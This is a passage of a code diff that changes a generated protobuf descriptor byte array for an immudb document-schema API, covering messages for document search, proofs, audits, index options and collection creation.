0xa1, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x3a, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, - 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xa1, 0x01, 0x0a, - 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, - 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, - 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, - 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, - 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, - 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, - 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, - 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, - 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, - 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x76, - 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, - 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x31, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, - 0x6f, 0x66, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0xa7, 0x01, 0x0a, 0x15, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, - 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, - 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, - 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, - 0x65, 0x66, 0x74, 0x22, 0x80, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, - 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, - 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, - 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x5f, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, - 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, - 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, - 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, + 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, + 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, + 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x76, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, + 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, + 0x4a, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, + 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0x84, 0x01, 0x0a, 0x14, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, + 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, + 0x67, 0x65, 0x22, 0xa7, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, + 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, + 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, + 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x80, 0x01, 0x0a, + 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, + 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, + 0x5f, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, + 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, + 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, + 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, - 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, + 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, + 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, + 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, + 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, - 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 